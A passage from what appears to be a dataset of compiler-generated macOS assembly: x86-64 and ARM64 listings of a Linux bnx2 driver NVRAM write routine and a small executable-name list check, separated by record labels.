## in Loop: Header=BB0_18 Depth=1 movq -136(%rbp), %r14 ## 8-byte Reload jmp LBB0_43 LBB0_34: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi movl %r13d, %esi callq _bnx2_nvram_erase_page testl %eax, %eax jne LBB0_70 ## %bb.35: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi callq _bnx2_enable_nvram_write movq -136(%rbp), %r14 ## 8-byte Reload cmpl %r14d, %r13d jge LBB0_42 ## %bb.36: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi movl %r13d, %esi movq -88(%rbp), %rdx ## 8-byte Reload movl -96(%rbp), %ecx ## 4-byte Reload callq _bnx2_nvram_write_dword testl %eax, %eax jne LBB0_70 ## %bb.37: ## in Loop: Header=BB0_18 Depth=1 leal 4(%r13), %eax movl $4, %edi movq -136(%rbp), %r14 ## 8-byte Reload cmpl %r14d, %eax jge LBB0_41 ## %bb.38: ## in Loop: Header=BB0_18 Depth=1 movl %r13d, %ecx movq -152(%rbp), %rbx ## 8-byte Reload .p2align 4, 0x90 LBB0_39: ## Parent Loop BB0_18 Depth=1 ## => This Inner Loop Header: Depth=2 movq %rcx, %r14 leal (%rcx,%rdi), %esi movq %rdi, %r13 movq %r15, %rdi movq %rbx, %rdx xorl %ecx, %ecx callq _bnx2_nvram_write_dword testl %eax, %eax jne LBB0_70 ## %bb.40: ## in Loop: Header=BB0_39 Depth=2 addq $4, %r13 addq $16, %rbx movq %r14, %rcx leal (%r14,%r13), %eax movq -136(%rbp), %r14 ## 8-byte Reload cmpl %r14d, %eax movq %r13, %rdi jl LBB0_39 LBB0_41: ## in Loop: Header=BB0_18 Depth=1 xorl %r8d, %r8d jmp LBB0_44 LBB0_42: ## in Loop: Header=BB0_18 Depth=1 xorl %edi, %edi LBB0_43: ## in Loop: Header=BB0_18 Depth=1 movl -96(%rbp), %r8d ## 4-byte Reload LBB0_44: ## in Loop: Header=BB0_18 Depth=1 cmpl -104(%rbp), %r14d ## 4-byte Folded Reload movq -128(%rbp), %rdx ## 8-byte Reload jge LBB0_59 ## %bb.45: ## in Loop: Header=BB0_18 Depth=1 movq -112(%rbp), %rax ## 8-byte Reload addl $-4, %eax cmpl %eax, %r14d movq %rdi, -96(%rbp) ## 8-byte Spill je LBB0_48 ## %bb.46: ## in Loop: Header=BB0_18 Depth=1 movq (%r15), %rax movq _BNX2_NV_BUFFERED@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testl %ecx, (%rax) je LBB0_49 ## %bb.47: ## in Loop: Header=BB0_18 Depth=1 movq -104(%rbp), %rax ## 8-byte Reload addl $-4, %eax cmpl %eax, %r14d jne LBB0_49 LBB0_48: ## in Loop: Header=BB0_18 Depth=1 movq _BNX2_NVM_COMMAND_LAST@GOTPCREL(%rip), %rax orl (%rax), %r8d LBB0_49: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi movl %r14d, %esi movl %r8d, %ecx movq %rdx, %rbx callq _bnx2_nvram_write_dword testl %eax, %eax movq -160(%rbp), %rcx ## 8-byte Reload jne LBB0_70 ## %bb.50: ## in Loop: Header=BB0_18 Depth=1 addq $16, %rbx leal 4(%r14), %r13d movq -96(%rbp), %rdi ## 8-byte Reload addl $4, %edi movq -104(%rbp), %rsi ## 8-byte Reload cmpl %esi, %r13d movq %rbx, %rdx jge LBB0_58 ## %bb.51: ## in Loop: Header=BB0_18 Depth=1 movq -176(%rbp), %rax ## 8-byte Reload leal (%rax,%rcx), %ebx addl -184(%rbp), %ebx ## 4-byte Folded Reload subl %r14d, %ebx subl -140(%rbp), %ebx ## 4-byte Folded Reload movl $8, %eax subl %esi, %eax movq %rax, -128(%rbp) ## 8-byte Spill .p2align 4, 0x90 LBB0_52: ## Parent Loop BB0_18 Depth=1 ## => This Inner Loop Header: Depth=2 movq %rdi, -96(%rbp) ## 8-byte Spill testl %ebx, %ebx je LBB0_55 ## %bb.53: ## in Loop: Header=BB0_52 Depth=2 movq (%r15), %rax movq _BNX2_NV_BUFFERED@GOTPCREL(%rip), %rcx movl (%rcx), %esi xorl %ecx, %ecx testl %esi, (%rax) je LBB0_56 ## %bb.54: ## in Loop: Header=BB0_52 Depth=2 movq -128(%rbp), %rax ## 8-byte Reload addl %r13d, %eax cmpl $4, %eax jne LBB0_56 LBB0_55: ## in Loop: Header=BB0_52 Depth=2 movq _BNX2_NVM_COMMAND_LAST@GOTPCREL(%rip), %rax movl (%rax), %ecx LBB0_56: ## in Loop: Header=BB0_52 Depth=2 movq %r15, %r14 movq %r15, %rdi movl %r13d, %esi movq %rdx, %r15 callq _bnx2_nvram_write_dword testl %eax, %eax jne LBB0_70 ## %bb.57: ## in Loop: Header=BB0_52 Depth=2 addq $16, %r15 addl $4, %r13d movq -96(%rbp), %rdi ## 8-byte Reload addl $4, %edi addl $-4, %ebx cmpl -104(%rbp), %r13d ## 4-byte Folded Reload movq %r15, %rdx movq %r14, %r15 jl LBB0_52 LBB0_58: ## in Loop: Header=BB0_18 Depth=1 movq %rdx, -128(%rbp) ## 8-byte Spill xorl %r8d, %r8d LBB0_59: ## in Loop: Header=BB0_18 Depth=1 movq (%r15), %rax movq _BNX2_NV_BUFFERED@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testl %ecx, (%rax) jne LBB0_17 ## %bb.60: ## in Loop: Header=BB0_18 Depth=1 movq -112(%rbp), %rax ## 8-byte Reload cmpl %eax, -116(%rbp) ## 4-byte Folded Reload jge LBB0_17 ## %bb.61: ## in Loop: Header=BB0_18 Depth=1 movq -112(%rbp), %rax ## 8-byte Reload addl $-4, %eax cmpl %eax, -116(%rbp) ## 4-byte Folded Reload jne LBB0_63 ## %bb.62: ## in Loop: Header=BB0_18 Depth=1 movq _BNX2_NVM_COMMAND_LAST@GOTPCREL(%rip), %rax movl (%rax), %r8d LBB0_63: ## in Loop: Header=BB0_18 Depth=1 movl %edi, %ebx movq -88(%rbp), %rax ## 8-byte Reload leaq (%rax,%rbx,4), %rdx movq %r15, %rdi movq -104(%rbp), %r14 ## 8-byte Reload movl %r14d, %esi movl %r8d, %ecx callq _bnx2_nvram_write_dword testl %eax, %eax jne LBB0_70 ## %bb.64: ## in Loop: Header=BB0_18 Depth=1 leal 4(%r14), %r13d cmpl -112(%rbp), %r13d ## 4-byte Folded Reload movq -184(%rbp), %rdx ## 8-byte Reload jge LBB0_17 ## %bb.65: ## in Loop: Header=BB0_18 Depth=1 movq -152(%rbp), %rax ## 8-byte Reload leaq (%rax,%rbx,4), %rbx movq -176(%rbp), %rax ## 8-byte Reload movq -160(%rbp), %rcx ## 8-byte Reload addl %ecx, %eax addl %eax, %edx subl -140(%rbp), %edx ## 4-byte Folded Reload subl -104(%rbp), %edx ## 4-byte Folded Reload .p2align 4, 0x90 LBB0_66: ## Parent Loop BB0_18 Depth=1 ## => This Inner Loop Header: Depth=2 xorl %ecx, %ecx movq %rdx, %r14 testl %edx, %edx jne LBB0_68 ## %bb.67: ## in Loop: Header=BB0_66 Depth=2 movq _BNX2_NVM_COMMAND_LAST@GOTPCREL(%rip), %rax movl (%rax), %ecx LBB0_68: ## in Loop: Header=BB0_66 Depth=2 movq %r15, %rdi movl %r13d, %esi movq %rbx, %rdx callq _bnx2_nvram_write_dword testl %eax, %eax jne LBB0_70 ## %bb.69: ## in Loop: Header=BB0_66 Depth=2 addl $4, %r13d addq $16, %rbx movq %r14, %rdx addl $-4, %edx cmpl -112(%rbp), %r13d ## 4-byte Folded Reload jl LBB0_66 jmp LBB0_17 LBB0_70: movl %eax, %r12d LBB0_71: movq -88(%rbp), %rdi ## 8-byte Reload jmp LBB0_73 LBB0_72: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %edi, %edi xorl %r12d, %r12d subl (%rax), %r12d LBB0_73: callq _kfree movq -192(%rbp), %rdi ## 8-byte Reload callq _kfree jmp LBB0_2 LBB0_74: xorl %r12d, %r12d jmp LBB0_71 LBB0_75: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _BNX2_NV_BUFFERED,4,2 ## @BNX2_NV_BUFFERED .comm _BNX2_NVM_COMMAND_FIRST,4,2 ## @BNX2_NVM_COMMAND_FIRST .comm _BNX2_NVM_COMMAND_LAST,4,2 ## @BNX2_NVM_COMMAND_LAST .no_dead_strip _bnx2_nvram_write .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function bnx2_nvram_write _bnx2_nvram_write: ; @bnx2_nvram_write .cfi_startproc ; %bb.0: sub sp, sp, #208 stp x28, x27, [sp, #112] ; 16-byte Folded Spill stp x26, x25, [sp, #128] ; 16-byte Folded Spill stp x24, x23, [sp, #144] ; 16-byte Folded Spill stp x22, x21, [sp, #160] ; 16-byte Folded Spill stp x20, x19, [sp, #176] ; 16-byte Folded Spill stp x29, x30, [sp, #192] ; 16-byte Folded Spill add x29, sp, #192 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x24, x3 mov x25, x2 mov x20, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-88] orr w19, w1, #0x3 and w21, w1, #0xfffffffc add w8, w19, w3 mov w9, #4 ; =0x4 cmp w8, #4 csel w22, w8, w9, gt add x2, sp, #88 mov x1, x21 mov w3, #4 ; =0x4 bl _bnx2_nvram_read cbz w0, LBB0_4 LBB0_1: mov x23, x0 LBB0_2: ldur x8, [x29, #-88] Lloh3: adrp x9, ___stack_chk_guard@GOTPAGE Lloh4: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh5: ldr x9, [x9] cmp x9, x8 b.ne LBB0_67 ; %bb.3: mov x0, x23 ldp x29, x30, [sp, #192] ; 16-byte Folded Reload ldp x20, x19, [sp, #176] ; 16-byte Folded Reload ldp x22, x21, [sp, #160] ; 16-byte Folded Reload ldp x24, x23, [sp, #144] ; 16-byte Folded Reload ldp x26, x25, [sp, #128] ; 16-byte Folded Reload ldp x28, x27, [sp, #112] ; 16-byte Folded Reload add sp, sp, #208 ret LBB0_4: ands w26, w22, #0x3 b.eq LBB0_7 ; %bb.5: and w22, w22, #0x7ffffffc sub w8, w21, w22 sub w1, w8, #8 add x2, sp, #72 mov x0, x20 mov w3, #4 ; =0x4 bl _bnx2_nvram_read cbnz w0, LBB0_1 ; %bb.6: add w22, w22, #4 LBB0_7: Lloh6: adrp x23, _GFP_KERNEL@GOTPAGE Lloh7: ldr x23, [x23, _GFP_KERNEL@GOTPAGEOFF] ldr w1, [x23] mov x0, x22 bl _kmalloc cbz x0, LBB0_12 ; %bb.8: mov x27, x0 add x1, sp, #88 mov w2, #4 ; =0x4 bl _memcpy cbz w26, LBB0_10 ; %bb.9: add x8, x27, w22, sxtw #2 sub x0, x8, #16 add x1, sp, #72 mov w2, #4 ; =0x4 bl _memcpy LBB0_10: add x0, x27, w19, sxtw #2 mov x1, x25 mov x2, x24 bl _memcpy ldr x8, [x20] ldr w8, [x8] Lloh8: adrp x9, _BNX2_NV_BUFFERED@GOTPAGE Lloh9: ldr x9, [x9, _BNX2_NV_BUFFERED@GOTPAGEOFF] Lloh10: ldr w9, [x9] tst w9, w8 b.eq LBB0_13 ; %bb.11: mov x0, #0 ; =0x0 b LBB0_14 LBB0_12: Lloh11: adrp x8, _ENOMEM@GOTPAGE Lloh12: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh13: ldr w8, [x8] neg w23, w8 b LBB0_2 LBB0_13: ldr w1, [x23] mov w0, #264 ; =0x108 bl _kmalloc cbz x0, LBB0_62 LBB0_14: cmp w22, #1 b.lt LBB0_61 ; %bb.15: mov w26, #0 ; =0x0 add w9, w22, w21 add w8, w21, #4 str w8, [sp, #12] ; 4-byte Folded Spill str x0, [sp, #48] ; 8-byte Folded Spill add x8, x0, #16 str x8, [sp, #16] ; 8-byte Folded Spill sub w8, w21, #8 str w8, [sp, #28] ; 4-byte Folded Spill str x27, [sp, #32] ; 8-byte Folded Spill mov x24, x27 str w9, [sp, #60] ; 4-byte Folded Spill b LBB0_17 LBB0_16: ; in Loop: Header=BB0_17 Depth=1 mov x0, x20 bl _bnx2_disable_nvram_write mov x0, x20 bl _bnx2_disable_nvram_access mov x0, x20 bl _bnx2_release_nvram_lock ldr w8, [sp, #56] ; 4-byte Folded Reload ldp w10, w9, [sp, #64] ; 8-byte Folded Reload sub w8, w8, w10 add w26, w8, w9 cmp w26, w22 ldr w9, [sp, #60] ; 4-byte Folded Reload b.ge LBB0_64 LBB0_17: ; =>This Loop Header: Depth=1 ; Child Loop BB0_23 Depth 2 ; Child Loop BB0_33 Depth 2 ; Child Loop BB0_43 Depth 2 ; Child Loop BB0_54 Depth 2 add w19, w26, w21 ldr x8, [x20] ldr w10, [x8, #4] sdiv w8, w19, w10 mul w27, w8, w10 cmp w26, #0 csel w11, w21, w27, eq str w10, [sp, #40] ; 4-byte Folded Spill add w25, w27, w10 cmp w25, w9 csel w8, w25, w9, lt stp w11, w8, [sp, #64] ; 8-byte Folded Spill mov x0, x20 bl _bnx2_acquire_nvram_lock cbnz w0, LBB0_58 ; %bb.18: ; in Loop: Header=BB0_17 Depth=1 sub w8, w19, w27 str w8, [sp, #44] ; 4-byte Folded Spill mov x0, x20 bl _bnx2_enable_nvram_access Lloh14: adrp x8, _BNX2_NVM_COMMAND_FIRST@GOTPAGE Lloh15: ldr x8, [x8, _BNX2_NVM_COMMAND_FIRST@GOTPAGEOFF] Lloh16: ldr w19, [x8] ldr x8, [x20] ldr w9, [x8] Lloh17: adrp x10, _BNX2_NV_BUFFERED@GOTPAGE Lloh18: ldr x10, [x10, _BNX2_NV_BUFFERED@GOTPAGEOFF] Lloh19: ldr w10, [x10] tst w10, w9 str w26, [sp, #56] ; 4-byte Folded Spill b.ne LBB0_26 ; %bb.19: ; in Loop: Header=BB0_17 Depth=1 ldr w8, [x8, #4] cmp w8, #1 b.lt LBB0_26 ; %bb.20: ; in Loop: Header=BB0_17 Depth=1 Lloh20: adrp x9, _BNX2_NVM_COMMAND_LAST@GOTPAGE Lloh21: ldr x9, [x9, _BNX2_NVM_COMMAND_LAST@GOTPAGEOFF] Lloh22: ldr w9, [x9] cmp w8, #4 csel w8, w9, wzr, eq orr w3, w8, w19 mov x0, x20 mov x1, x27 ldr x2, [sp, #48] ; 8-byte Folded Reload mov x19, x2 bl _bnx2_nvram_read_dword cbnz w0, LBB0_65 ; %bb.21: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x20] ldr w8, [x8, #4] cmp w8, #5 b.lt LBB0_25 ; %bb.22: ; in Loop: Header=BB0_17 Depth=1 ldr w9, [sp, #12] ; 4-byte Folded Reload add w9, w9, w26 ldr w10, [sp, #44] ; 4-byte Folded Reload sub w28, w9, w10 ldr x19, [sp, #16] ; 8-byte Folded Reload mov w26, #4 ; =0x4 LBB0_23: ; Parent Loop BB0_17 Depth=1 ; => This Inner Loop Header: Depth=2 sub w8, w8, #4 Lloh23: adrp x9, _BNX2_NVM_COMMAND_LAST@GOTPAGE Lloh24: ldr x9, [x9, _BNX2_NVM_COMMAND_LAST@GOTPAGEOFF] Lloh25: ldr w9, [x9] cmp x26, x8 csel w3, w9, wzr, eq mov x0, x20 mov x1, x28 mov x2, x19 bl _bnx2_nvram_read_dword cbnz w0, LBB0_58 ; %bb.24: ; in Loop: Header=BB0_23 Depth=2 add x26, x26, #4 ldr x8, [x20] ldr w8, [x8, #4] add w28, w28, #4 add x19, x19, #16 cmp w8, w26 b.gt LBB0_23 LBB0_25: ; in Loop: Header=BB0_17 Depth=1 mov w19, #0 ; =0x0 LBB0_26: ; in Loop: Header=BB0_17 Depth=1 mov x0, x20 bl _bnx2_enable_nvram_write cbnz w0, LBB0_58 ; %bb.27: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x20] ldr w8, [x8] Lloh26: adrp x9, _BNX2_NV_BUFFERED@GOTPAGE Lloh27: ldr x9, [x9, _BNX2_NV_BUFFERED@GOTPAGEOFF] Lloh28: ldr w9, [x9] tst w9, w8 b.ne LBB0_35 ; %bb.28: ; in Loop: Header=BB0_17 Depth=1 mov x0, x20 mov x1, x27 bl _bnx2_nvram_erase_page cbnz w0, LBB0_58 ; %bb.29: ; in Loop: Header=BB0_17 Depth=1 mov x0, x20 bl _bnx2_enable_nvram_write ldr w8, [sp, #64] ; 4-byte Folded Reload cmp w27, w8 b.ge LBB0_35 ; %bb.30: ; in Loop: Header=BB0_17 Depth=1 mov x0, x20 mov x1, x27 ldr x2, [sp, #48] ; 8-byte Folded Reload mov x3, x19 bl _bnx2_nvram_write_dword cbnz w0, LBB0_58 ; %bb.31: ; in Loop: Header=BB0_17 Depth=1 add w8, w27, #4 ldr w26, [sp, #64] ; 4-byte Folded Reload cmp w8, w26 b.ge LBB0_56 ; %bb.32: ; in Loop: Header=BB0_17 Depth=1 ldr x19, [sp, #16] ; 8-byte Folded Reload mov w28, #4 ; =0x4 LBB0_33: ; Parent Loop BB0_17 Depth=1 ; => This Inner Loop Header: Depth=2 add w1, w27, w28 mov x0, x20 mov x2, x19 mov w3, #0 ; =0x0 bl _bnx2_nvram_write_dword cbnz w0, LBB0_58 ; %bb.34: ; in Loop: Header=BB0_33 Depth=2 add x28, x28, #4 add x19, x19, #16 add w8, w27, w28 cmp w8, w26 b.lt LBB0_33 b LBB0_57 LBB0_35: ; in Loop: Header=BB0_17 Depth=1 mov w28, #0 ; =0x0 ldr w26, [sp, #64] ; 4-byte Folded Reload LBB0_36: ; in Loop: Header=BB0_17 Depth=1 ldr w9, [sp, #68] ; 4-byte Folded Reload cmp w26, w9 b.ge LBB0_50 ; %bb.37: ; in Loop: Header=BB0_17 Depth=1 sub w8, w25, #4 cmp w26, w8 b.eq LBB0_39 ; %bb.38: ; in Loop: Header=BB0_17 Depth=1 sub w8, w9, #4 ldr x9, [x20] ldr w9, [x9] Lloh29: adrp x10, _BNX2_NV_BUFFERED@GOTPAGE Lloh30: ldr x10, [x10, _BNX2_NV_BUFFERED@GOTPAGEOFF] Lloh31: ldr w10, [x10] and w9, w10, w9 cmp w9, #0 ccmp w26, w8, #0, ne b.ne LBB0_40 LBB0_39: ; in Loop: Header=BB0_17 Depth=1 Lloh32: adrp x8, _BNX2_NVM_COMMAND_LAST@GOTPAGE Lloh33: ldr x8, [x8, _BNX2_NVM_COMMAND_LAST@GOTPAGEOFF] Lloh34: ldr w8, [x8] orr w19, w8, w19 LBB0_40: ; in Loop: Header=BB0_17 Depth=1 ldr x27, [sp, #32] ; 8-byte Folded Reload mov x0, x20 mov x1, x26 mov x2, x24 mov x3, x19 bl _bnx2_nvram_write_dword cbnz w0, LBB0_66 ; %bb.41: ; in Loop: Header=BB0_17 Depth=1 add x24, x24, #16 add w27, w26, #4 add w28, w28, #4 ldr w10, [sp, #68] ; 4-byte Folded Reload cmp w27, w10 b.ge LBB0_49 ; %bb.42: ; in Loop: Header=BB0_17 Depth=1 ldr w8, [sp, #56] ; 4-byte Folded Reload ldr w9, [sp, #28] ; 4-byte Folded Reload add w8, w9, w8 ldp w11, w9, [sp, #40] ; 8-byte Folded Reload add w8, w8, w11 sub w8, w8, w26 sub w19, w8, w9 mov w8, #8 ; =0x8 sub w26, w8, w10 LBB0_43: ; Parent Loop BB0_17 Depth=1 ; => This Inner Loop Header: Depth=2 cbz w19, LBB0_46 ; %bb.44: ; in Loop: Header=BB0_43 Depth=2 add w8, w26, w27 ldr x9, [x20] ldr w9, [x9] Lloh35: adrp x10, _BNX2_NV_BUFFERED@GOTPAGE Lloh36: ldr x10, [x10, _BNX2_NV_BUFFERED@GOTPAGEOFF] Lloh37: ldr w10, [x10] and w9, w10, w9 cmp w9, #0 ccmp w8, #4, #0, ne b.eq LBB0_46 ; %bb.45: ; in Loop: Header=BB0_43 Depth=2 mov w3, #0 ; =0x0 b LBB0_47 LBB0_46: ; in Loop: Header=BB0_43 Depth=2 Lloh38: adrp x8, _BNX2_NVM_COMMAND_LAST@GOTPAGE Lloh39: ldr x8, [x8, _BNX2_NVM_COMMAND_LAST@GOTPAGEOFF] Lloh40: ldr w3, [x8] LBB0_47: ; in Loop: Header=BB0_43 Depth=2 mov x0, x20 mov x1, x27 mov x2, x24 bl _bnx2_nvram_write_dword cbnz w0, LBB0_58 ; %bb.48: ; in Loop: Header=BB0_43 Depth=2 add x24, x24, #16 add w27, w27, #4 add w28, w28, #4 sub w19, w19, #4 ldr w8, [sp, #68] ; 4-byte Folded Reload cmp w27, w8 b.lt LBB0_43 LBB0_49: ; in Loop: Header=BB0_17 Depth=1 mov w19, #0 ; =0x0 LBB0_50: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x20] ldr w8, [x8] Lloh41: adrp x9, _BNX2_NV_BUFFERED@GOTPAGE Lloh42: ldr x9, [x9, _BNX2_NV_BUFFERED@GOTPAGEOFF] Lloh43: ldr w9, [x9] and w8, w9, w8 cmp w8, #0 ldr w8, [sp, #60] ; 4-byte Folded Reload ccmp w8, w25, #0, eq b.ge LBB0_16 ; %bb.51: ; in Loop: Header=BB0_17 Depth=1 sub w8, w25, #4 Lloh44: adrp x9, _BNX2_NVM_COMMAND_LAST@GOTPAGE Lloh45: ldr x9, [x9, _BNX2_NVM_COMMAND_LAST@GOTPAGEOFF] Lloh46: ldr w9, [x9] ldr w10, [sp, #60] ; 4-byte Folded Reload cmp w10, w8 csel w3, w9, w19, eq ldr x8, [sp, #48] ; 8-byte Folded Reload mov x19, x8 add x2, x8, w28, uxtw #2 mov x0, x20 ldr w26, [sp, #68] ; 4-byte Folded Reload mov x1, x26 bl _bnx2_nvram_write_dword cbnz w0, LBB0_65 ; %bb.52: ; in Loop: Header=BB0_17 Depth=1 add w27, w26, #4 cmp w27, w25 b.ge LBB0_16 ; %bb.53: ; in Loop: Header=BB0_17 Depth=1 mov w8, w28 ldr x9, [sp, #16] ; 8-byte Folded Reload add x19, x9, x8, lsl #2 ldr w8, [sp, #56] ; 4-byte Folded Reload ldr w9, [sp, #28] ; 4-byte Folded Reload add w8, w9, w8 ldp w10, w9, [sp, #40] ; 8-byte Folded Reload add w8, w8, w10 sub w8, w8, w9 ldr w9, [sp, #68] ; 4-byte Folded Reload sub w26, w8, w9 LBB0_54: ; Parent Loop BB0_17 Depth=1 ; => This Inner Loop Header: Depth=2 Lloh47: adrp x8, _BNX2_NVM_COMMAND_LAST@GOTPAGE Lloh48: ldr x8, [x8, _BNX2_NVM_COMMAND_LAST@GOTPAGEOFF] Lloh49: ldr w8, [x8] cmp w26, #0 csel w3, w8, wzr, eq mov x0, x20 mov x1, x27 mov x2, x19 bl _bnx2_nvram_write_dword cbnz w0, LBB0_58 ; %bb.55: ; in Loop: Header=BB0_54 Depth=2 add w27, w27, #4 add x19, x19, #16 sub w26, w26, #4 cmp w27, w25 b.lt LBB0_54 b LBB0_16 LBB0_56: ; in Loop: Header=BB0_17 Depth=1 mov w28, #4 ; =0x4 LBB0_57: ; in Loop: Header=BB0_17 Depth=1 mov w19, #0 ; =0x0 b LBB0_36 LBB0_58: mov x23, x0 LBB0_59: ldr x27, [sp, #32] ; 8-byte Folded Reload LBB0_60: ldr x0, [sp, #48] ; 8-byte Folded Reload b LBB0_63 LBB0_61: mov w23, #0 ; =0x0 b LBB0_63 LBB0_62: Lloh50: adrp x8, _ENOMEM@GOTPAGE Lloh51: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh52: ldr w8, [x8] neg w23, w8 LBB0_63: bl _kfree mov x0, x27 bl _kfree b LBB0_2 LBB0_64: mov w23, #0 ; =0x0 b LBB0_59 LBB0_65: mov x23, x0 ldr x27, [sp, #32] ; 8-byte Folded Reload mov x0, x19 b LBB0_63 LBB0_66: mov x23, x0 b LBB0_60 LBB0_67: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28 .loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31 .loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .loh AdrpLdrGotLdr Lloh38, Lloh39, Lloh40 .loh AdrpLdrGotLdr Lloh41, Lloh42, Lloh43 .loh AdrpLdrGotLdr Lloh44, Lloh45, Lloh46 .loh AdrpLdrGotLdr Lloh47, Lloh48, Lloh49 .loh AdrpLdrGotLdr Lloh50, Lloh51, Lloh52 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _BNX2_NV_BUFFERED,4,2 ; @BNX2_NV_BUFFERED .comm _BNX2_NVM_COMMAND_FIRST,4,2 ; @BNX2_NVM_COMMAND_FIRST .comm _BNX2_NVM_COMMAND_LAST,4,2 ; @BNX2_NVM_COMMAND_LAST .no_dead_strip _bnx2_nvram_write .subsections_via_symbols

assembly_file_105277.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols

the_stack_data/125416.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function is_blacklisted_exe _is_blacklisted_exe: ## @is_blacklisted_exe .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -40(%rbp) movq _MAX_PATH@GOTPCREL(%rip), %rax movl (%rax), %eax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r14 xorl %eax, %eax testq %rbx, %rbx je LBB0_6 ## %bb.1: movq _blacklisted_exes@GOTPCREL(%rip), %rcx movq (%rcx), %r12 movq (%r12), %rsi testq %rsi, %rsi je LBB0_6 ## %bb.2: addq $-8, %r12 leaq L_.str(%rip), %r15 .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movq %r14, %rdi callq _strcpy movq %r14, %rdi movq %r15, %rsi callq _strcat movq %r14, %rdi movq %rbx, %rsi callq _strcmpi testq %rax, %rax je LBB0_5 ## %bb.3: ## in Loop: Header=BB0_4 Depth=1 movq (%r12), %rsi addq $-8, %r12 testq %rsi, %rsi jne LBB0_4 LBB0_5: movq %rax, %rcx xorl %eax, %eax testq %rcx, %rcx sete %al LBB0_6: movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -40(%rbp), %rcx jne LBB0_8 ## %bb.7: leaq -32(%rbp), %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_8: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _MAX_PATH,4,2 ## @MAX_PATH .comm _blacklisted_exes,8,3 ## @blacklisted_exes .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz ".exe" .no_dead_strip _is_blacklisted_exe .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function is_blacklisted_exe _is_blacklisted_exe: ; @is_blacklisted_exe .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 sub sp, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-40] Lloh3: adrp x8, _MAX_PATH@GOTPAGE Lloh4: ldr x8, [x8, _MAX_PATH@GOTPAGEOFF] Lloh5: ldr w8, [x8] mov x9, x8 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x1fffffff0 sub x20, x9, x8 mov sp, x20 cbz x0, LBB0_7 ; %bb.1: Lloh8: adrp x8, _blacklisted_exes@GOTPAGE Lloh9: ldr x8, [x8, _blacklisted_exes@GOTPAGEOFF] Lloh10: ldr x8, [x8] ldr x1, [x8] cbz x1, LBB0_6 ; 